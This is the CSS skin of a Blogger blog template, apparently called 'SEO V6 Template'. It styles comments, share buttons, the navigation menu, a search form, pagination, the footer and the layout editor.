img{border-width:0;padding:1px}#comments-block .avatar-image-container{height:37px;left:-45px;position:absolute;width:37px}#comments-block.avatar-comment-indent{margin-left:45px;position:relative}#comments-block.avatar-comment-indent dd{margin-left:0}iframe.avatar-hovercard-iframe{border:0 none;padding:0;width:25em;height:9.4em;margin:.5em}.comments{clear:both;margin-top:10px;margin-bottom:0}.comments .comments-content{margin-bottom:16px}.comments .comment .comment-actions a{padding-right:5px;padding-top:5px}.comments .comment .comment-actions a:hover{text-decoration:underline}.comments .comments-content .comment-thread ol{list-style-type:none;padding:0;text-align:left}.comments .comments-content .inline-thread{padding:.5em 1em}.comments .comments-content .comment-thread{margin:8px 0}.comments .comments-content .comment-thread:empty{display:none}.comments .comments-content .comment-replies{margin-left:36px;margin-top:1em}.comments .comments-content .comment{margin-bottom:16px;padding-bottom:8px}.comments .comments-content .comment:first-child{padding-top:16px}.comments .comments-content .comment:last-child{border-bottom:0;padding-bottom:0}.comments .comments-content .comment-body{position:relative}.comments .comments-content .user{font-style:normal;font-weight:bold}.comments .comments-content .icon.blog-author{display:inline-block;height:18px;margin:0 0 -4px 6px;width:18px}.comments .comments-content .datetime{margin-left:6px}.comments .comments-content .comment-header,.comments .comments-content .comment-content{margin:0 0 8px}.comments .comments-content .comment-content{text-align:justify}.comments .comments-content .owner-actions{position:absolute;right:0;top:0}.comments .comments-replybox{border:none;height:250px;width:100%}.comments .comment-replybox-single{margin-left:48px;margin-top:5px}.comments .comment-replybox-thread{margin-top:5px}.comments .comments-content .loadmore a{display:block;padding:10px 16px;text-align:center}.comments .thread-toggle{cursor:pointer;display:inline-block}.comments .continue{cursor:pointer}.comments .continue a{display:block;font-weight:bold;padding:.5em}.comments .comments-content .loadmore{cursor:pointer;margin-top:3em;max-height:3em}.comments .comments-content .loadmore.loaded{max-height:0;opacity:0;overflow:hidden}.comments .thread-chrome.thread-collapsed{display:none}.comments .thread-toggle{display:inline-block}.comments .thread-toggle .thread-arrow{display:inline-block;height:6px;margin:.3em;overflow:visible;padding-right:4px;width:7px}.comments .thread-expanded .thread-arrow{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAcAAAAHCAYAAADEUlfTAAAAG0lEQVR42mNgwAfKy8v/48I4FeA0AacVDFQBAP9wJkE/KhUMAAAAAElFTkSuQmCC") no-repeat scroll 0 0 transparent}.comments .thread-collapsed .thread-arrow{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAcAAAAHCAYAAADEUlfTAAAAJUlEQVR42mNgAILy8vL/DLgASBKnApgkVgXIkhgKiNKJ005s4gDLbCZBiSxfygAAAABJRU5ErkJggg==") no-repeat scroll 0 0 transparent}.comments .avatar-image-container{float:left;max-height:36px;overflow:hidden;width:36px}.comments .avatar-image-container img{max-width:36px}.comments .comment-block{margin-left:48px;position:relative}@media screen and (max-device-width:480px){.comments .comments-content .comment-replies{margin-left:0}}table.tr-caption-container{padding:4px;margin-bottom:.5em}td.tr-caption{font-size:80%}.icon-action{border-style:none !important;margin:0 0 0 .5em !important;vertical-align:middle}.comment-action-icon{width:13px;height:13px;margin-top:3px}.delete-comment-icon{background:url("/img/icon_delete13.gif") no-repeat left;padding:7px}#comment-popup{position:absolute;visibility:hidden;width:100px;height:20px}@media all{.BLOG_mobile_video_class{display:none}}@media handheld{.BLOG_mobile_video_class{display:inline}.BLOG_video_class{display:none}}.post-share-buttons{display:inline-block;margin-top:.5em;vertical-align:middle}.share-button{width:20px;height:20px;background:url(/img/share_buttons_20_3.png) no-repeat left !important;overflow:hidden;margin-left:-1px;position:relative}.dummy-container,.google-plus-share-container{vertical-align:top;padding-left:.3em}a:hover.share-button{text-decoration:none;z-index:1}.share-button-link-text{display:block;text-indent:-9999px}.sb-email{background-position:0 0 !important}a:hover.sb-email{background-position:0 -20px !important}a:active.sb-email{background-position:0 -40px !important}.sb-blog{background-position:-20px 0 !important}a:hover.sb-blog{background-position:-20px -20px !important}a:active.sb-blog{background-position:-20px -40px !important}.sb-twitter{background-position:-40px 0 !important}a:hover.sb-twitter{background-position:-40px -20px !important}a:active.sb-twitter{background-position:-40px -40px !important}.sb-facebook{background-position:-60px 0 !important}a:hover.sb-facebook{background-position:-60px -20px !important}a:active.sb-facebook{background-position:-60px -40px !important}.sb-buzz{display:none !important}.sb-pinterest{background-position:-100px 0 !important}a:hover.sb-pinterest{background-position:-100px -20px !important}a:active.sb-pinterest{background-position:-100px -40px !important}.sb-google{background:url(/img/plusone/plusonepreview.png) no-repeat;height:20px;vertical-align:top;width:82px}.goog-inline-block{position:relative;display:-moz-inline-box;display:inline-block}* html .goog-inline-block{display:inline}*:first-child+html .goog-inline-block{display:inline}.goog-custom-button{margin:2px;border:0;padding:0;font-family:Arial,sans-serif;color:#000;text-decoration:none;list-style:none;vertical-align:middle;cursor:default;outline:none}.goog-custom-button-outer-box,.goog-custom-button-inner-box{border-style:solid;border-color:transparent;vertical-align:top}.goog-custom-button-checked .goog-custom-button-outer-box,.goog-custom-button-checked .goog-custom-button-inner-box{border-color:#ccc}.goog-custom-button-outer-box{margin:0;border-width:1px 0;padding:0}.goog-custom-button-inner-box{-moz-box-orient:vertical;margin:0 -1px;border-width:0 1px;padding:3px 4px;white-space:nowrap}* html .goog-custom-button-inner-box{left:-1px}* html .goog-custom-button-rtl .goog-custom-button-outer-box{left:-1px}* html .goog-custom-button-rtl .goog-custom-button-inner-box{right:auto}*:first-child+html .goog-custom-button-inner-box{left:-1px}*:first-child+html .goog-custom-button-rtl .goog-custom-button-inner-box{left:1px}::root .goog-custom-button,::root .goog-custom-button-outer-box{line-height:0}::root .goog-custom-button-inner-box{line-height:normal}.goog-custom-button-active,.goog-custom-button-checked{background-color:#faf6bc;background-position:bottom left}.blog-mobile-link{padding:15px}#mobile-share-button{height:18px;padding:1px 10px;text-align:center;vertical-align:top;margin:0}#mobile-share-button a{display:block;height:100%;line-height:18px;width:100%}.mobile-share-panel-outer{background:#444}.mobile-share-panel-inner{background:#fff;border-bottom-left-radius:2px 2px;border-bottom-right-radius:2px 2px;border-radius:3px;-webkit-border-radius:3px;font-family:Arial;font-size:18px;color:#666}.mobile .mobile-share-panel-inner a{display:block;color:#666}.mobile-share-panel-title{background:#f5f5f5;border-bottom:1px solid #eee;border-top-left-radius:2px 2px;border-top-right-radius:2px 2px;height:25px;line-height:25px;padding:10px 10px 10px 20px}.mobile a.mobile-share-panel-button{background:#fff url(/img/mobile_share_icons4.png) no-repeat left !important;border-bottom:1px solid #eee;height:50px;line-height:30px;padding:10px 0 10px 65px;width:100%;-webkit-box-sizing:border-box}.mobile-share-panel-button-close{font-size:26px;float:right;height:25px;line-height:25px;text-align:center;width:25px}.mobile a.mobile-share-panel-button-email{background-position:10px 0 !important}.mobile a.mobile-share-panel-button-facebook{background-position:10px -50px !important}.mobile a.mobile-share-panel-button-twitter{background-position:10px -100px !important}.mobile a.mobile-share-panel-button-googleplus{background:#fff url(https://www.gstatic.com/images/icons/gplus-32.png) no-repeat left !important;background-position:19px 9px !important}.mobile a.mobile-share-panel-button-buzz{background-position:10px -150px !important;border-bottom-left-radius:2px 2px;border-bottom-right-radius:2px 2px}.svg-icon-24{height:24px;width:24px}form.gsc-search-box{font-size:13px;margin-top:0;margin-right:0;margin-bottom:4px;margin-left:0;width:100%}table.gsc-search-box{border-style:none;border-width:0;border-spacing:0 0;width:100%;margin-bottom:2px}table.gsc-search-box td{vertical-align:middle}table.gsc-search-box td.gsc-input{padding-right:12px}td.gsc-search-button{width:1%}td.gsc-clear-button{width:14px}input.gsc-search-button{margin-left:2px}input.gsc-input{padding:1px 6px;border:1px solid #ddd;width:99%}
  21. /* CSS Reset */
  22. html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,embed,figure,figcaption,footer,header,hgroup,menu,nav,output,ruby,section,summary,time,mark,audio,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline;}
  23. /* CSS HTML5 */
  24. article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block;}body{line-height:1;display:block;}*{margin:0;padding:0;}html{display:block;}ol,ul{list-style:none;}blockquote,q{quotes:none;}blockquote:before,blockquote:after,q:before,q:after{background:transparent;}table{border-collapse:collapse;border-spacing:0;}
  25. /* CSS Framework */
  26. *, *:before, *:after {-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}
  27. .navbar,.post-feeds,.feed-links{display:none;}
  28. .section,.widget{margin:0 0 0 0;padding:0 0 0 0;}
  29. strong,b{font-weight:bold;padding:0;transition:color 0.2s;}
  30. strong,b:hover{left:-0.1em;content: '[';-webkit-transform: translateX(-100%);transform: translateX(-100%);}
  31. cite,em,i{font-style:italic;}
  32. a:link{color:#cf4d35;text-decoration:none;outline:none;transition:all 0.25s;}
  33. a:visited{color:#303030;text-decoration:none;}
  34. a:link:hover{color:#303030;text-decoration:none;}
  35. a:visited:hover{color:#cf4d35;text-decoration:none;}
  36. a img{border:none;border-width:0;outline:none;}
  37. img{max-width:100%;vertical-align:middle;border:0;}
  38. abbr,acronym{border-bottom:1px dotted;cursor:help;}
  39. sup,sub{vertical-align:baseline;position:relative;top:-.4em;font-size:86%;}
  40. sub{top:.4em;}small{font-size:86%;}
  41. kbd {display:inline-block;border:1px solid #ccc;border-radius:4px;padding:0.1em 0.5em;margin:0 0.2em;box-shadow:0 1px 0px rgba(0,0,0,0.2), 0 0 0 2px #fff inset;background-color:#f7f7f7;}
  42. mark{background-color:#ffce00;color:#182025;}
  43. p,blockquote,pre,table,figure,hr,form,ol,ul,dl{margin:1.5em 0;}
  44. hr{height:1px;border:none;background-color:#999;}
  45. code,kbd,pre,samp{font-family:monospace,monospace;}
  46. pre{white-space:pre;word-wrap:normal;overflow:auto;}
  47. blockquote{position:relative;line-height:2;margin:15px 0;border-left:3px solid #c69f73;font-weight:400;padding:0 18px;color:#999}
  48. *:focus {outline:0!important;}
  49. kbd,blockquote,pre,pre.code,.post-body table td{-webkit-user-select:text;-khtml-user-select:text;-moz-user-select:text;-ms-user-select:text;user-select:text;}
  50. /* CSS Blog Heading */
  51. h1,h2,h3,h4,h5,h6{font-weight:700;line-height:normal;margin:0 0 0.6em;}
  52. h1{font-size:200%}
  53. h2{font-size:180%}
  54. h3{font-size:160%}
  55. h4{font-size:140%}
  56. h5{font-size:120%}
  57. h6{font-size:100%}
  58. /* CSS Form */
  59. input,button,select,textarea{font-size:100%;line-height:normal;vertical-align:baseline;}
  60. textarea{display:block;box-sizing:border-box;}
  61. input::-webkit-input-placeholder,textarea::-webkit-input-placeholder,input:-moz-placeholder,textarea:-moz-placeholder,input.placeholder_text,textarea.placeholder_text{color:#888}[placeholder]:focus::-webkit-input-placeholder{transition:opacity .5s .5s ease;opacity:0}
  62. /* Print Styling */
  63. @media print {
  64. *{background:transparent!important;color:#000!important;box-shadow:none !important;text-shadow:none !important}
  65. a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href)")"}abbr[title]:after{content:" (" attr(title)")"}.ir a:after,a[href^="javascript:"]:after,a[href^="#"]:after{content:""}pre,blockquote{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100% !important}
  66. @page {margin:0.5cm;}
  67. p,h2,h3{orphans:3;widows:3}h2,h3{page-break-after:avoid}}
  68. /* CSS List */
  69. ul,dl{margin:.5em 0em .5em 3em}
  70. ol{list-style:decimal outside}
  71. ul{list-style:disc outside}
  72. li{margin:.5em 0}
  73. dt{font-weight:bold}
  74. dd{margin:0 0 .5em 2em}
  75. .post ul li span{position:relative;display:block;margin:0;padding:5px 8px;margin-bottom:10px;text-decoration:none;transition:all .3s;}
  76. ol {counter-reset:li;list-style:none;font:15px 'Open Sans', 'lucida sans';padding:0;margin:1.5em 0;text-shadow:0 1px 0 rgba(255,255,255,.5);}
  77. ol ol {margin: 0 0 0 2em;}
  78. .post ol li{position:relative;display:block;padding:.4em .4em .4em .8em;margin:.5em 0 .5em 2.5em;background:#fff;color:#666;text-decoration:none;transition:all .3s ease-out;}
  79. .post ol li:before {content:counter(li);counter-increment:li;position:absolute;left:-2.5em;height:2em;width:2em;text-align:center;}
  80. /* CSS Post Table */
  81. .post-body table td, .post-body table caption{border:1px solid #e6e6e6;padding:10px;text-align:left;vertical-align:top;}
  82. .post-body table th {border:1px solid #009abf;padding:10px;text-align:left;vertical-align:top;}
  83. .post-body table.tr-caption-container {border:1px solid #eee;}
  84. .post-body th{font-weight:700;}
  85. .post-body table caption{border:none;font-style:italic;}
  86. .post-body table{}
  87. .post-body td, .post-body th{vertical-align:top;text-align:left;font-size:13px;padding:3px 5px;border:1px solid #eee;}
  88. .post-body th{background:#00acd6;color:#fff;}
  89. .post-body th:hover{background:#009fc6;}
  90. .post-body td a{color:#444;}
  91. .post-body td a:hover{color:#cf4d35;}
  92. .post-body table.tr-caption-container td {border:none;padding:8px;}
  93. .post-body table.tr-caption-container, .post-body table.tr-caption-container img, .post-body img {max-width:100%;height:auto;}
  94. .post-body li {list-style-type:square;}
  95. .post-body td.tr-caption {color:#666;font-size:80%;padding:0px 8px 8px !important;}
  96. img {max-width:100%;height:auto;border:none;}
  97. table {max-width:100%;width:100%;margin:1.5em auto;}
  98. table.section-columns td.first.columns-cell{border-left:none}
  99. table.section-columns{border:none;table-layout:fixed;width:100%;position:relative}
  100. table.columns-2 td.columns-cell{width:50%}
  101. table.columns-3 td.columns-cell{width:33.33%}
  102. table.columns-4 td.columns-cell{width:25%}
  103. table.section-columns td.columns-cell{vertical-align:top}
  104. table.tr-caption-container{padding:4px;margin-bottom:.5em}
  105. td.tr-caption{font-size:80%}
  106. .widget ul {padding:0;}
  107.  
  108. /* CSS Global Wrapper */
  109. body {-webkit-font-smoothing: antialiased;background:#e8e8e8 none repeat scroll top left;margin:0;padding:0;color:#404040;font-family:'Open Sans';font-size:14px;font-weight:400;text-align:left;}
  110. #uxlite-wrapper {max-width:870px;margin:0 auto;padding:0;overflow:hidden;}
  111. #header-wrapper {}
  112. #header {float:left;width:auto;max-width:500px;}
  113. .header-right {float:right;padding:0;overflow:hidden;margin:0;width:100%;
  114. max-width:728px;}
  115. .header-wrapper2 {position:relative;z-index:999;}
  116. .uxlitetop-wrapper {overflow:hidden;position:relative;}
  117. #footer-wrapper {text-align:left;overflow:hidden;margin:0;}
  118. .footer {padding-bottom:.2em;}
  119. .footer-bottom {min-height:40px;}
  120. #footx1,#footx2,#footx3 {margin:0 .2%}
  121. #footer-widgetpro .footer-widget {width:30.2%;float:left;margin-left:20px;}
  122. #footer-widgetpro {max-width:980px;overflow:hidden;margin:0 auto;}
  123. #footer-wrapper .widget-content li {margin-left:-14px;}
  124. #footer-wrapper .widget li {margin:5px 0 0 0;padding:5px 0 0 15px;display:block;}
  125.  
  126. /*menu*/
  127. #id-menu-navigasi{color:#eee;height:60px;background: #555;}
  128. #id-menu-navigasi ul,#id-menu-navigasi li{margin:0;padding:0;list-style:none}
  129. #id-menu-navigasi li{float:left;display:inline;position:relative;font:bold 13px Arial;}
  130. #id-menu-navigasi li a{
  131. font-size: 12px;
  132. font-weight: 400; color: #ccc; line-height: 59px;}
  133. #id-menu-navigasi a{display:block;line-height:35px;margin:0 13px;text-decoration:none;color:#333;}
  134. #id-menu-navigasi li:hover > a,#id-menu-navigasi li a:hover{color:#0274be}
  135. #id-menu-navigasi input{display:none;margin:0 0;padding:0 0;width:80px;height:35px;opacity:0;cursor:pointer}
  136. #id-menu-navigasi label{font:bold 20px Arial;display:none;width:35px;height:36px;line-height:36px;text-align:center}
  137. #id-menu-navigasi label span{font-size:13px;position:absolute;left:35px}
  138. #id-menu-navigasi ul.menus{height:auto;overflow:hidden;width:180px;background:#fff;position:absolute;z-index:99;display:none;border:1px solid #ccc;border-top:none;color:#333}
  139. #id-menu-navigasi ul.menus a{color:#333}
  140. #id-menu-navigasi ul.menus li{display:block;width:100%;font:12px Arial;text-transform:none;}
  141. #id-menu-navigasi li:hover ul.menus{display:block}
  142. #id-menu-navigasi a.prett,#id-menu-navigasi a.trigger2{padding-right: 10px;}
  143. #id-menu-navigasi li:hover > a.prett,#id-menu-navigasi a.prett:hover{background:#fff;color:#333}
  144. #id-menu-navigasi a.prett::after{content:"";width:0;height:0;border-width:6px 5px;border-style:solid;border-color:#9ECE00 transparent transparent transparent;position:absolute;top:27px;right:9px}
  145. #id-menu-navigasi ul.menus a:hover{background:#BABABA;}
  146. #id-menu-navigasi a.trigger2::after{content:"";width:0;height:0;border-width:5px 6px;border-style:solid;border-color:transparent transparent transparent #eee ;position:absolute;top:13px;right:9px}
  147. @media screen and (max-width: 1028px){
  148. #id-menu-navigasi{ box-shadow: 0 1px 4px rgba(0, 0, 0, .1);background: white;position:relative}
  149. #id-menu-navigasi ul{
  150. background: black;position:absolute;top:100%;right:0;left:0;z-index:99;height:auto;display:none;}
  151. #id-menu-navigasi ul.menus{width:100%;position:static;border:none}
  152. #id-menu-navigasi li{display:block;float:none;width:auto;text-align:left}
  153. #id-menu-navigasi li a{border-bottom: 1px solid #3c3c3c;color:#fff}
  154. #id-menu-navigasi a.prett::after {
  155. border-color: #fff transparent transparent transparent;}
  156. #id-menu-navigasi li a:hover{color:#333}
  157. #id-menu-navigasi li:hover{background:#BABABA;color:#333;}
  158. #id-menu-navigasi li:hover > a.prett,#id-menu-navigasi a.prett:hover{background:#BABABA;color:#333;}
  159. #id-menu-navigasi ul.menus a{background:#BABABA;}
  160. #id-menu-navigasi ul.menus a:hover{background:#fff;}
  161. #id-menu-navigasi input,#id-menu-navigasi label{margin-top: 14px;
  162. margin-left: 15px;position:absolute;top:0;left:0;display:block}
  163. #id-menu-navigasi input{z-index:4}
  164. #id-menu-navigasi input:checked + label{color:white}
  165. #id-menu-navigasi input:checked ~ ul{display:block}
  166. }
  167. @media screen and (min-width: 800px){#header a {
  168. color: #fff;
  169. }}
  170. /*serach*/
  171. // Set some base styles on the search form
  172. .search-form {
  173. position: relative;
  174. width: 100%;
  175. }
  176.  
  177. // Set height for the search form elements
  178. .search-field,
  179. .search-submit {
  180. height: rem(60);
  181. }
  182.  
  183. // Style the search text input
  184. .search-field {
  185. @include position(absolute, null 0 null null);
  186. @include transition (all 0.5s ease-in-out);
  187.  
  188. background-color: #e2e2e2;
  189. border: none;
  190. border-bottom: 1px solid rgba($color-white,.5) !important; // Add an !important for CodePen because it's adding inline styles when focused
  191. box-sizing: border-box;
  192. color: black;
  193. cursor: pointer;
  194. font-size: rem(36);
  195. font-weight: 300;
  196. opacity: 0;
  197. padding-right: rem(60);
  198. width: 0;
  199. z-index: 3;
  200.  
  201. // When we focus on the text input, display it
  202. &:focus {
  203. cursor: text;
  204. opacity: 1;
  205. outline: none;
  206. width: 100%;
  207. z-index: 1;
  208.  
  209. // When focused AND hovering the text input, do not alter the default styles of the search icon
  210. &:hover {
  211.  
  212. ~ .search-submit .fa-search {
  213. color: $color-white;
  214. }
  215. }
  216. }
  217.  
  218. // When hovering the text input, adjust the color of the search icon
  219. &:hover {
  220.  
  221. ~ .search-submit .fa-search {
  222. color: lighten($color-white, 10%);
  223. }
  224. }
  225. }
  226.  
  227. // Style the submit button
  228. .search-submit {
  229. @include transition (all 0.2s ease-in-out);
  230.  
  231. background-color: transparent;
  232. border: none;
  233. float: right;
  234. position: relative;
  235. width: rem(60);
  236. z-index: 2;
  237.  
  238. // Adjust the color of the search icon on hover
  239. &:hover {
  240.  
  241. .fa-search {
  242. color: lighten($color-white, 10%);
  243. }
  244. }
  245. }
  246.  
  247. // Style our search icon
  248. .fa-search {
  249. @include transition (all 0.2s ease-in-out);
  250.  
  251. color: $color-white;
  252. font-size: rem(36);
  253. }
  254.  
  255.  
  256. .pen-title {
  257. color: #FFFFFF;
  258. margin-bottom: 0;
  259. text-align: center;
  260. text-shadow: 1px 1px 0 #000;
  261. }
  262.  
  263. .pen-description {
  264. color: #FFFFFF;
  265. margin-bottom: 3rem;
  266. text-align: center;
  267. text-shadow: 1px 1px 0 #000;
  268. }
  269. .pen-description a {
  270. color: #FFFFFF;
  271. text-decoration: underline;
  272. }
  273.  
  274. a {
  275. text-decoration: none;
  276. }
  277. a:hover {
  278. text-decoration: underline;
  279. }
  280.  
  281. img {
  282. height: auto;
  283. max-width: 100%;
  284. }
  285.  
  286. .wrap {
  287. max-width: 85.375rem;
  288. margin: 0 auto;
  289. }
  290.  
  291. .image-as-background {
  292. background-position: center center;
  293. background-size: cover;
  294. background-repeat: no-repeat;
  295. }
  296.  
  297. .screen-reader-text {
  298. height: auto;
  299. width: 1px;
  300. clip: rect(1px, 1px, 1px, 1px);
  301. height: 1px;
  302. overflow: hidden;
  303. position: absolute !important;
  304. }
  305. .screen-reader-text:hover, .screen-reader-text:active, .screen-reader-text:focus {
  306. height: auto;
  307. width: auto;
  308. background-color: #000000;
  309. border-radius: 2px;
  310. box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
  311. clip: auto !important;
  312. color: #FFFFFF;
  313. display: block;
  314. font-size: 0.875rem;
  315. font-weight: 700;
  316. left: 0.3125rem;
  317. line-height: normal;
  318. padding: 0.9375rem 1.4375rem 0.875rem;
  319. text-decoration: none;
  320. top: 0.3125rem;
  321. z-index: 100000;
  322. }
  323. form.search-form {
  324. z-index: 99;
  325. margin: 0;
  326. }
  327. .search-form {
  328. position: relative;
  329. width: 100%;
  330. }
  331.  
  332. .search-field,
  333. .search-submit {
  334. height: 3.75rem;
  335. }
  336.  
  337. .search-field {
  338. position: absolute;
  339. right: 0;
  340. -webkit-transition: all 0.5s ease-in-out;
  341. transition: all 0.5s ease-in-out;
  342. background-color: #e8e8e8;
  343. border: none;
  344. border-bottom: 1px solid rgba(255, 255, 255, 0.5) !important;
  345. box-sizing: border-box;
  346. color: #111;
  347. cursor: pointer;
  348. font-size: 2.25rem;
  349. font-weight: 300;
  350. opacity: 0;
  351. padding-right: 3.75rem;
  352. width: 0;
  353. z-index: 3;
  354. }
  355. .search-field:focus {
  356. cursor: text;
  357. opacity: 1;
  358. outline: none;
  359. width: 100%;
  360. z-index: 1;
  361. }
  362. .search-field:focus:hover ~ .search-submit .fa-search {
  363. color: #FFFFFF;
  364. }
  365. .search-field:hover ~ .search-submit .fa-search {
  366. color: #FF5722;
  367. }
  368.  
  369. .search-submit {
  370. -webkit-transition: all 0.2s ease-in-out;
  371. transition: all 0.2s ease-in-out;
  372. background-color: transparent;
  373. border: none;
  374. float: right;
  375. position: relative;
  376. width: 3.75rem;
  377. z-index: 2;
  378. }
  379. .search-submit:hover .fa-search {
  380. color: white;
  381. }
  382.  
  383. .fa-search {
  384. background: black;
  385. border-radius: 50%;
  386. padding: 6px 6px 6px 7px;
  387. -webkit-transition: all 0.2s ease-in-out;
  388. transition: all 0.2s ease-in-out;
  389. color: #fff;
  390. font-size: 2.25rem;
  391. }
  392.  
  393. /*campur*/
  394. ol.breadcrumbs a {
  395. padding: 3px;
  396. font-size: 13px;
  397. color: #787878;
  398. }
  399. ol.breadcrumbs {
  400. color: #787878;
  401. margin: 0;
  402. }
  403. .breadcrumbs li{list-style-type:none;display:inline-block;}
  404. abbr.published.updated {
  405. font-size: 10px;
  406. text-decoration: none;}
  407. .icon-action {
  408. display: none;
  409. }
  410. #PlusBadge1 {
  411. text-align: center;
  412. }
  413. .hedeee {
  414. background: #fffff;
  415. width: 100%;
  416. max-width: 970px;
  417. margin: auto;
  418. }
  419.  
  420. #id-menu-navigasi {
  421. float: right;
  422. }
  423. @media screen and (min-width: 800px){
  424. #footer-last1 {
  425. float: right;
  426. }#footer-last2 {
  427. float: left;
  428. }
  429. }
  430. @media screen and (max-width: 1028px){
  431.  
  432. #footer-last1 {
  433. float: none;
  434. }#footer-last2 {
  435. float: none;
  436. }
  437. #header-wrapper{
  438. margin: auto;
  439. width: 75%;
  440. z-index: 9;
  441. position: absolute;
  442. right: 0px;
  443. left: 0px;}
  444. }
  445. /*page nav*/
  446. span.showpageprev {
  447. border: 1px solid #FF5722;
  448. padding: 7px 10px;
  449. vertical-align: middle;
  450. border-radius: 2px;
  451. line-height: 16px;
  452. font-size: 12px;
  453. color: #FF5722;
  454. width: 90px;
  455. text-transform: uppercase;
  456. }
  457. span.displaypageNumnext {
  458. border: 1px solid #FF5722;
  459. padding: 7px 10px;
  460. vertical-align: middle;
  461. border-radius: 2px;
  462. line-height: 16px;
  463. font-size: 12px;
  464. color: #FF5722;
  465. width: 90px;
  466. text-transform: uppercase;
  467. }
  468.  
  469. span.showpage.firstpage {
  470. display: none;
  471. }
  472. .displaypageNum a:hover, .showpage a:hover {
  473. color: #ff5722;
  474. }
  475. span.displaypageNum.lastpage {
  476. display: none;
  477. }
  478. #blog-pager{clear:both;margin:30px auto;text-align:center; padding: 7px;}
  479. .blog-pager {background: none;}
  480. .displaypageNum a,.showpage a,.pagecurrent{ color: black;font-size: 12px;
  481. position: relative;
  482. text-decoration: none;
  483. padding: 8px 12px 7px 12px;
  484. line-height: 30px;}
  485. .pagecurrent{background:#359BED;text-decoration:none;color: #fff;}
  486. #blog-pager .pagecurrent{ color: #FFF;
  487. border-width: 1px 0;
  488. background: #FF5722;
  489. border: 1px solid #FF5722;}
  490. .showpageOf{display:none!important}
  491. #blog-pager .pages{border:none;}
  492. /*footer*/
  493. #footer-last1 ul li:before {
  494. color: #999;
  495. content: "\00b7";
  496. font-weight: bold;
  497. margin: 5px;
  498. }
  499. #footer-last1 ul {
  500. margin: 10px;
  501. list-style: none;
  502. display: -webkit-inline-box;
  503. }
  504. #footer-last1 a {
  505. font-family: sans-serif;
  506. font-size: 12px;
  507. color: #ccc;
  508. }
  509. .vieleftcredit {
  510. margin: 20px;
  511. }
  512. .penanda-nav {
  513. color:#222;
  514. }
  515. #id-menu-navigasi li .penanda-nav {
  516. border-bottom: 2px solid #9ECE00;
  517. }
  518. .headmen {
  519. z-index: 9999999999999;
  520. width: 100%;
  521. position: fixed;
  522. background: #fff;
  523. }
  524. #header a {
  525. font-family: 'roboto', sans-serif;
  526. color: black;
  527. font-weight: 600;
  528. }
  529. .snippets {
  530. -webkit-font-smoothing: antialiased;
  531. font-size: 13px;
  532. line-height: 20px;
  533. color: #999;
  534. font-family: sans-serif;
  535. }
  536.  
  537. i.fa.fa-list-ul {
  538. color: #000;
  539. }
  540. h3.post-title, h2.post-title, h1.post-title {display: inline-block;font-family:&#39;Source Sans Pro&#39;,sans-serif;font-size:20px;font-weight:400;text-align:center;padding:15px;}
  541. h2.post-title,h1.post-title{ line-height: 1.38;display: block;font-family: &#39;Source Sans Pro&#39;, sans-serif;font-size:16px;padding:0;margin:0;font-weight:700;text-transform:none;text-align:left;border-bottom:none;border-top:none;clear:initial}
  542. h1.post-title.entry-title {
  543. letter-spacing: -0.03em;
  544. line-height: 1.27;
  545. display: inline-block;
  546. font-family: sans-serif; font-size: 30px;
  547. padding: 0;
  548. margin: 0;
  549. font-weight: 700;
  550. text-transform: none;
  551. text-align: left;
  552. border-bottom: none;
  553. border-top: none;
  554. clear: initial;
  555. }
  556. @media only screen and (max-width: 759px) {
  557. h1.post-title.entry-title {
  558. font-size: 32px;}
  559. h2.post-title, h1.post-title {
  560. letter-spacing: -0.03em;
  561.  
  562. }
  563. }
  564. /* Multi Tab Widget */
  565. @import url(https://fonts.googleapis.com/css?family=Open+Sans:400,700);
  566. *,
  567. *:after,
  568. *:before {
  569. box-sizing: border-box;
  570. -webkit-box-sizing: border-box;
  571. -moz-box-sizing: border-box;
  572. -webkit-font-smoothing: antialiased;
  573. font-smoothing: antialiased;
  574. text-rendering: optimizeLegibility
  575. }
  576.  
  577. body {
  578. background: #eee;
  579. color: #444;
  580. font-family: 'Open Sans', sans-serif;
  581. margin: 0;
  582. padding: 0;
  583. position: relative;
  584. line-height: normal;
  585. }
  586.  
  587. /*.container {
  588. max-width: 310px;
  589. margin: 12% auto;
  590. padding: 0;
  591. box-shadow: 0 10px 5px -5px rgba(0, 0, 0, 0.1);
  592. font-family: 'Open Sans', sans-serif;
  593. }*/
  594. div#HTML2 {
  595. text-align: center;
  596. }
  597.  
  598.  
  599. ]]></b:skin>
  600. <b:template-skin>
  601. <![CDATA[
  602. /* CSS Body Layout */
  603. #layout ul,body#layout div.section h4,#layout div.section h4,body#layout ul,body#layout .top-tab-widget-menu ul {display:none;}
  604. #layout,#layout .widget-content,#layout .add_widget {border:none;}
  605. #layout .add_widget a {color:#444;}
  606. #layout:before {content:'SEO V6 Template ';text-transform:uppercase;font-size:20px;color:#999;margin:0 0 20px 0;display:inline-block;font-weight:700;font-family:sans-serif;}
  607. #layout #header-wrapper{min-height:0px;width:100%;margin:10px 0 0 0;}
  608. #layout #footer-wrapper{padding:20px 0;overflow:visible;background:#fdfdfd;border-top:1px solid #ccc;}
  609. #layout #footer-wrapper .add_widget {background-color:#8b9898;border:none;}
  610. #layout #footer-wrapper .add_widget a,#layout div#mag-wrapper .add_widget a,#layout div#mag-wrapper2 .add_widget a {color:#fff;}
  611. #layout #footer-wrapper .footer-column{width:33.33%;float:left}
  612. #layout #footer-wrapper #column1,#layout #footer-wrapper #column2{margin:0}
  613. #layout #footer-wrapper:before {content:'Footer Wrapper';text-transform:uppercase;font-size:16px;color:#aaa;margin:0 0 20px 0;display:inline-block;font-weight:700;font-family:sans-serif;}
